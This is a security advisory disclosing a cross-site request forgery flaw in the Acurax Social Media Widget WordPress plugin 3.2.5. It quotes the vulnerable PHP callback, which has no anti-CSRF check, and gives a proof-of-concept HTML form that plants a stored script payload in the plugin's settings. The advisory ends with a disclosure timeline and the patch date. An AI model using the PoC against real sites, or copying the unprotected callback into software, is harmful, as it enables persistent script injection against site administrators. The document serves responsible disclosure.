WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery

* Exploit Title: Social Media Widget by Acurax [CSRF]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://www.acurax.com/
* Software Link: https://wordpress.org/plugins/acurax-social-media-widget
* Version: 3.2.5
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements AJAX action `acx_asmw_saveorder` which calls back the
function `acx_asmw_saveorder_callback`. The later does not implement any
anti-CSRF controls thus allowing a malicious actor to perform an attack
that could update plugin specific option `social_widget_icon_array_order`.

Vulnerable param is `$_POST['recordsArray']` and it is saved as an
option with the name `social_widget_icon_array_order`.

Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will
be served when a user with the right privileges visits plugin's settings
page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`).

Vulnerable code is located in file
`acurax-social-media-widget/function.php` line 993:

```
function acx_asmw_saveorder_callback() {
    global $wpdb;
    $social_widget_icon_array_order = $_POST['recordsArray'];
    if ( current_user_can( 'manage_options' ) ) {
        $social_widget_icon_array_order = serialize(
$social_widget_icon_array_order );
        update_option( 'social_widget_icon_array_order',
$social_widget_icon_array_order );
        echo "<div id='acurax_notice' align='center' style='width:
420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
        echo "Social Media Icon's Order Saved";
        echo "</div><br>";
    }
    die(); // this is required to return a proper result
}

add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );

```

PoC
---

In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent
XSS attack. The payload is available in plugin's settings.

```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="acx_asmw_saveorder">
    <input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>">
    <button type="submit" value="Submit">Submit</button>
</form>

```

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-12**: Tried to contact plugin's vendor through the contact
form on their website
3. **2017-12-12**: Vendor replied
4. **2017-12-12**: Vendor Received Details
5. **2018-01-02**: Patch released